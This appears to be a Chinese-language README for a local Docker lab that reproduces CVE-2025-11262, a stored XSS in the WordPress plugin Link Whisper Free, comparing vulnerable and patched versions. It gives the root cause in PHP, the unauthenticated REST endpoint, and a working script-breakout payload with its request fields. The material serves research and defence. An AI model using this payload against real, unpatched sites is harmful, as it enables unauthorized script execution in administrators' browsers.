此仓库包含一个本地 Docker 实验环境,用于复现 CVE-2025-11262,这是一个影响 WordPress 插件 Link Whisper Free 的未认证存储型跨站脚本漏洞。
该实验环境对比两个插件版本:
| Service | Plugin version | Purpose | URL |
|---|---|---|---|
vuln | 0.9.0 | 易受攻击的目标 | http://127.0.0.1:8081 |
patched | 0.9.1 | 已修补的对比目标 | http://127.0.0.1:8082 |
所演示的漏洞链条如下:
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version
攻击者无需登录即可植入存储型 payload。当特权 WordPress 用户打开受影响的 admin 页面时,JavaScript 才会执行。
本实验环境仅用于受控的本地研究、源码级理解和作品集展示。
以下是 Root Cause Summary 部分,可直接替换到 README 中。该部分为 public-safe,不涉及 vuln_detail.txt 等内部文件,基于你当前使用的 lab/source。
CVE-2025-11262 由 Link Whisper Free 0.9.0 中的存储型 JavaScript 注入链导致。
该问题并非单一缺失转义调用,而是多个不安全行为组成的链条:
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page
Link Whisper Free 在插件 REST 命名空间下注册了一个 AI 认证 REST 端点:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
该端点被注册为 POST 路由:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
由于权限回调为 __return_true,该端点无需认证即可访问。
在实验环境中,实际生效的端点为:
/wp-json/link-whisper/ai-auth
这意味着未认证的攻击者无需 WordPress 会话、nonce 或管理员账户,即可向该端点发送请求。
在 Link Whisper Free 0.9.0 中,处理器从 REST 请求中读取攻击者可控的参数:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
易受攻击的行为在于薄弱验证条件:
if(!empty($token) && false !== strpos($token, 'ai-')){
该条件仅检查所提供 access token 是否包含字符串 ai-。
在存储 user_id 之前,没有严格的验证:
update_option('wpil_ai_access_user_id', $user_id);
因此,攻击者控制的 JavaScript 可被持久化到 WordPress options 表中。
攻击者控制的 user_id 值被存储在 WordPress option 中:
wpil_ai_access_user_id
在本实验环境中,PoC 发送以下仅限本地的 payload:
</script><script>alert("CVE-2025-11262-LAB")</script>
在易受攻击的服务上,payload 被存储为 wpil_ai_access_user_id 的值。
攻击者无需登录即可植入 payload。payload 通过未认证的 REST 端点植入。
该存储的值随后通过插件设置逻辑读取:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
该值被赋给 $ai_id,并渲染到 AI Subscription 管理页面中。
在 Link Whisper Free 0.9.0 中,该值被直接插入到 JavaScript 字符串中:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
由于 $ai_id 在插入到 JavaScript 上下文之前未被转义,存储型 payload 可以突破预期字符串,并在打开管理页面时执行 JavaScript。
使用实验环境中的 payload 时,易受攻击的渲染输出等效于:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
在浏览器中,注入的闭合 </script> 标签终止原始脚本块,然后注入的 <script> 块执行。
payload 由未认证攻击者植入,但执行需要一个特权 WordPress 用户打开受影响的 admin 页面:
/wp-admin/admin.php?page=link_whisper_ai_subscription
在本实验环境中,以 WordPress 管理员身份打开受影响页面,以触发 alert 对话框。
这使得该问题成为针对已认证 WordPress 管理员或可访问 Link Whisper AI Subscription 管理页面的特权用户的未认证存储型 XSS。
Link Whisper Free 0.9.1 在存储 AI 认证值之前增加了更严格的验证。
修补后的处理器要求 token 和 user ID 符合严格格式:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
为 user_id 添加的重要验证是:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
这可以防止任意 JavaScript 被存储为 AI user ID。
0.9.1 版本还在将值渲染到 JavaScript 上下文之前对其进行转义:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
因此,该补丁从两个层面缓解了此问题:
Input validation before persistence
Output escaping before JavaScript rendering
该实验环境确认了 0.9.0 与 0.9.1 之间的差异。
在 Link Whisper Free 0.9.0 上:
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")
在 Link Whisper Free 0.9.1 上:
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert
仅凭 HTTP 响应不足以判断目标是否易受攻击,因为两个版本都可能返回 "ok"。有意义的行为差异在于 payload 是否被持久化并随后在管理员 JavaScript 上下文中渲染。
该实验环境通过 Docker Compose 运行两个隔离的 WordPress 实例和两个独立的 MySQL 数据库。
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
Docker 入口点会自动:
两个服务的默认 WordPress 管理员凭据:
admin / AdminPassw0rd!
构建并启动实验环境:
docker compose down -v
docker compose build --no-cache
docker compose up -d
检查容器:
docker compose ps
预期暴露的服务:
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
你还可以查看设置日志:
docker compose logs vuln patched
设置成功后,每个 WordPress 实例中应显示 Link Whisper 为已激活状态。
对易受攻击的服务运行 PoC:
python3 poc/poc.py --url http://127.0.0.1:8081
PoC 通过未认证的 REST 端点发送以下仅限本地的 payload:
</script><script>alert("CVE-2025-11262-LAB")</script>
脚本运行后,在浏览器中打开打印出的 admin URL,并使用以下信息登录:
admin / AdminPassw0rd!
在易受攻击的服务上,浏览器应显示包含以下内容的 alert:
CVE-2025-11262-LAB
为了对比,对已修补的服务运行相同的 PoC:
python3 poc/poc.py --url http://127.0.0.1:8082
然后打开打印出的已修补服务的 admin URL。不应触发任何 alert。
易受攻击的目标:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
已修补的目标:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
仅凭 HTTP 响应不足以判断目标是否易受攻击。重要差异在于特权用户打开受影响的 admin 页面后的浏览器行为。

建议的截图目标:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
截图应显示浏览器 alert,内容为:
CVE-2025-11262-LAB
PoC 刻意保持小巧,仅需一个目标 URL:
python3 poc/poc.py --url http://127.0.0.1:8081
它向以下地址发送 POST 请求:
/wp-json/link-whisper/ai-auth
并携带以下表单字段:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
在易受攻击的服务上,存储的值随后会被渲染到 AI Subscription 页面中。当管理员打开该页面时,JavaScript 执行。
在已修补的服务上,相同的 payload 不应导致 alert。
检查插件版本:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
检查易受攻击的服务是否存储了 payload:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
预期易受攻击的值:
</script><script>alert("CVE-2025-11262-LAB")</script>
检查已修补的服务:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
已修补服务的预期行为:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
检查 REST 端点访问日志:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
将 Link Whisper Free 升级到 0.9.1 或更高版本。
该补丁通过在受影响的 AI 认证流程周围增加更严格的验证和更安全的输出处理,阻止了本实验环境中的 payload 被持久化和渲染。
对于生产环境,还应考虑:
停止并移除容器、网络和卷:
docker compose down -v
如需要,可移除本地构建的镜像:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
本实验环境仅用于本地安全研究和受控演示。
请勿对你不拥有或没有权限测试的系统运行 PoC。
请勿在本实验环境中使用真实凭据、生产机密或外部回调。
PoC 有意使用可见的 alert() 标记作为截图证据。它不包含用于凭据窃取、会话窃取、实验环境之外的持久化或自动化管理员操作的 payload。
GitHub Advisory Database:CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence:Link Whisper Free 漏洞数据库条目
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
WordPress.org 插件目录:Link Whisper Free
https://wordpress.org/plugins/link-whisper/
易受攻击实验环境所使用的 WordPress.org 插件包
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
已修补实验环境所使用的 WordPress.org 插件包
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
WordPress 插件源码浏览器:Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
WordPress 插件源码浏览器:Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
WordPress 插件源码浏览器:Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
WordPress 插件源码浏览器:Link Whisper 0.9.1 Settings.php
| 声明 | 证据 | 如何在本实验环境中验证 |
|---|
Link Whisper Free 0.9.0 存在漏洞。 | 公开公告确认,Link Whisper Free 版本直至并包括 0.9.0 均受影响。 | 对 http://127.0.0.1:8081 运行 PoC,然后打开打印出的 admin URL。 |
Link Whisper Free 0.9.1 包含修复。 | 公开公告和变更日志数据将 0.9.1 标识为已修补版本。 | 对 http://127.0.0.1:8082 运行相同的 PoC;不应出现 alert。 |
| payload 植入无需认证。 | PoC 发送 POST 请求,不附带 WordPress cookie、登录状态或 nonce。 | 查看 poc/poc.py;它只需要 --url。 |
| 可见影响在 WordPress 管理区域触发。 | 当特权用户打开 Link Whisper AI Subscription 页面时,存储的值会被渲染。 | 运行 PoC 后,以管理员身份登录并打开打印出的 admin URL。 |
已修补的目标在 HTTP 层可能仍返回 "ok"。 | 本地测试显示,两个目标都可能返回 "ok";有意义的区别在于 payload 是否被持久化并执行。 | 比较浏览器在 8081 和 8082 上的行为。 |